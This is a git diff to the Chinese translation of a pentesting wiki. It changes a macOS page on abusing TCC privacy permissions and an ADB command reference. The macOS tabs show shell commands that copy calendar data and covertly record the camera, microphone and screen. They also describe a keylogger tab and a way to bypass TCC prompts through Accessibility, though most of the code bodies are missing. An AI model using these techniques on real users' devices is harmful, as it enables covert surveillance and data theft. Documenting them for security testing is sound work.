-将`$HOME/Library/Calendars`复制到`/tmp/calendars`。 +将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。 ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` @@ -314,8 +315,8 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars" * **TCC**: `kTCCServiceCamera` {% tabs %} -{% tab title="ObjectiveC - Record" %} -录制一个3秒的视频并保存在 **`/tmp/recording.mov`** 中 +{% tab title="ObjetiveC - 录制" %} +录制一个3秒的视频并保存到 **`/tmp/recording.mov`** ```objectivec #import #import @@ -394,8 +395,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="ObjectiveC - 检查" %} -检查程序是否具有访问摄像头的权限。 -{% endtab %} +检查程序是否有权访问相机。 ```objectivec #import #import @@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -使用相机拍照 +用相机拍照 ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -441,8 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="ObjetiveC - Record" %} -录制5秒音频并将其存储在 `/tmp/recording.m4a` 中 +{% tab title="ObjetiveC - 录音" %} +录制5秒音频并将其存储在`/tmp/recording.m4a` ```objectivec #import #import @@ -542,8 +542,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="ObjectiveC - 检查" %} -检查应用程序是否具有对麦克风的访问权限。 -{% endtab %} +检查应用程序是否有权访问麦克风。 ```objectivec #import #import @@ -574,25 +573,28 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -录制一段5秒的音频并将其存储在 `/tmp/recording.wav` 中。 +录制5秒音频并将其存储在`/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" # Use microphone from index 1 from the previous list to record ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ``` +{% endtab %} +{% endtabs %} + ### 位置 {% hint style="success" %} -要获取位置信息,必须启用**位置服务**(来自隐私与安全),否则应用程序将无法访问位置信息。 +要让应用获取位置,**位置服务**(来自隐私与安全)**必须启用,** 否则将无法访问。 {% endhint %} -* **授权**: `com.apple.security.personal-information.location` -* **TCC**: 已授予在 `/var/db/locationd/clients.plist` 中 +* **权限**: `com.apple.security.personal-information.location` +* **TCC**: 在 `/var/db/locationd/clients.plist` 中授予 {% tabs %} {% tab title="ObjectiveC" %} -将位置信息写入 `/tmp/logs.txt` +将位置写入 `/tmp/logs.txt` ```objectivec #include #include @@ -642,7 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -获取访问位置权限 +获取位置访问权限 ``` ??? ``` @@ -656,7 +658,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tabs %} {% tab title="ObjectiveC" %} -在 `/tmp/screen.mov` 中录制主屏幕 5 秒。 +在`/tmp/screen.mov`中录制主屏幕5秒 ```objectivec #import #import @@ -714,15 +716,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tab title="Shell" %} 记录主屏幕5秒钟 +{% endtab %} ```bash screencapture -V 5 /tmp/screen.mov ``` -### 辅助功能 +{% endtab %} +{% endtabs %} -- **权限**: 无 -- **TCC**: `kTCCServiceAccessibility` +### 可访问性 -使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式 +* **权限**: 无 +* **TCC**: `kTCCServiceAccessibility` + +使用 TCC 权限接受 Finder 的控制,按下回车并以此绕过 TCC + +{% tabs %} +{% tab title="接受 TCC" %} ```objectivec #import #import @@ -775,9 +784,8 @@ return 0; ``` {% endtab %} -{% tab title="键盘记录器" %} -将按键存储在 **`/tmp/keystrokes.txt`** 文件中 -{% endtab %} +{% tab title="Keylogger" %} +将按下的键存储在 **`/tmp/keystrokes.txt`** ```objectivec #import #import @@ -885,19 +893,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**辅助功能是一个非常强大的权限**,您可以以其他方式滥用它,例如,您可以执行**按键攻击**,而无需调用系统事件。 +**无障碍功能是一个非常强大的权限**,你可以以其他方式滥用它,例如你可以仅通过它执行**击键攻击**,而无需调用系统事件。 {% endhint %} +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index fb02295ac..b7175eb6e 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -58,3 +59,19 @@ {% embed url="https://pentestlab.blog/" %} {% embed url="https://ippsec.rocks/" %} + + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index d0cb2b3ff..14eafeee5 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,19 +1,20 @@ +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -其他支持HackTricks的方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} -**Adb通常位于:** +**Adb 通常位于:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -21,31 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` -**信息获取自:** [**http://adbshell.com/**](http://adbshell.com) +**信息来源:** [**http://adbshell.com/**](http://adbshell.com) # 连接 ``` adb devices ``` -这将列出已连接的设备;如果出现"_**未授权**_",这意味着您必须**解锁**您的**手机**并**接受**连接。 +这将列出连接的设备;如果出现“_**未授权**_”,这意味着您必须**解锁**您的**手机**并**接受**连接。 -这指示设备必须在端口5555上启动adb服务器: +这向设备指示它必须在端口 5555 启动 adb 服务器: ``` adb tcpip 5555 ``` -连接到该 IP 和端口: +连接到该IP和该端口: ``` adb connect : ``` -如果在虚拟Android软件(如Genymotion)中遇到以下错误: +如果您在虚拟 Android 软件(如 Genymotion)中遇到以下错误: ``` adb server version (41) doesn't match this client (36); killing... ``` -这是因为您正在尝试连接到具有不同版本的ADB服务器。只需尝试找到软件正在使用的adb二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe) +因为您尝试连接到不同版本的 ADB 服务器。只需尝试找到软件正在使用的 adb 二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe) ## 多个设备 -每当您发现**有多个设备连接到您的计算机**时,您需要**指定要在哪一个设备上**运行adb命令。 +每当您发现 **多个设备连接到您的机器** 时,您需要 **指定要在哪个设备上** 运行 adb 命令。 ```bash adb devices List of devices attached @@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## 端口隧道 +## Port Tunneling -如果在安卓设备中 **adb** **端口** 只能从 **本地主机** 访问,但是 **你可以通过 SSH 访问**,你可以 **转发端口 5555** 并通过 adb 连接: +如果 **adb** **端口** 仅在安卓设备的 **localhost** 上 **可访问**,但 **您可以通过 SSH 访问**,您可以 **转发端口 5555** 并通过 adb 连接: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 @@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555 ## 安装/卸载 -### adb install \[选项] \<路径> +### adb install \[option] \ ```bash adb install test.apk @@ -85,15 +86,15 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb卸载 \[选项] \<包名> +### adb uninstall \[options] \ ```bash adb uninstall com.test.app adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` -## 包 +## Packages -打印所有包,可选择仅打印包名包含\文本的包。 +打印所有包,选项上只打印那些包名包含\文本的包。 ### adb shell pm list packages \[options] \ ```bash @@ -117,13 +118,13 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -打印给定应用的 APK 路径。 +打印给定 APK 的路径。 ```bash adb shell pm path com.android.phone ``` ### adb shell pm clear \ -删除与一个应用程序相关的所有数据。 +删除与包相关的所有数据。 ```bash adb shell pm clear com.test.abc ``` @@ -131,19 +132,19 @@ adb shell pm clear com.test.abc ### adb pull \ \[local] -从模拟器/设备下载指定文件到您的计算机。 +从模拟器/设备下载指定文件到你的计算机。 ```bash adb pull /sdcard/demo.mp4 ./ ``` ### adb push \ \ -从您的计算机上传指定文件到模拟器/设备。 +将指定文件从计算机上传到模拟器/设备。 ```bash adb push test.apk /sdcard ``` -# 屏幕截图/录屏 +# Screencapture/Screenrecord -### adb shell screencap \<文件名> +### adb shell screencap \ 对设备显示屏进行截图。 ```bash @@ -151,7 +152,7 @@ adb shell screencap /sdcard/screen.png ``` ### adb shell screenrecord \[options] \ -记录运行Android 4.4(API级别19)及更高版本的设备显示。 +录制运行 Android 4.4(API 级别 19)及更高版本的设备的显示。 ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,27 +161,27 @@ adb shell screenrecord --time-limit